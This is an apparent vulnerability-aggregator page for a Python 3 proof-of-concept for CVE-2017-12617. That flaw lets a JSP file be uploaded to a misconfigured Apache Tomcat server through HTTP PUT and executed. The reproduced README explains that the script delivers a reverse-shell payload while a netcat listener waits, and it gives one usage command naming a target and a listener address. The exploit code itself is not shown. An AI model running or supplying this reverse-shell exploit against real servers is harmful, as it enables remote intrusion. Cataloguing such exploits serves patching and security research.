CVE-2017-12617 PoC — Apache Tomcat 安全漏洞

Source

https://github.com/LongWayHomie/CVE-2017-12617

Associated Vulnerability

Title:Apache Tomcat 安全漏洞 (CVE-2017-12617)
Description:When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.

Description

CVE-2017-12617 is a critical vulnerability leading to Remote Code Execution (RCE) in Apache Tomcat.

Readme

# CVE-2017-12617

CVE-2017-12617 is a critical vulnerability leading to Remote Code Execution (RCE) in Apache Tomcat.</br>
This vulnerability works on versions 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81.</br>
Tested only on 8.0.24. Vulnerability uses misconfigured PUT option on the application or Tomcat instance itself.</br>
It uses PUT to send reverse shell payload to the server and execute it, while listening with netcat. </br>

Since there are many versions of the same exploit in the Internet but based on python2, I have rewrote it to work with Python 3.</br>
Have foon.</br></br>

Usage example:
`python3 cve-2017-12617.py -t 127.0.0.1 -p 8888 -l 192.168.1.118 -P 5555`

![Screen](img.PNG)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!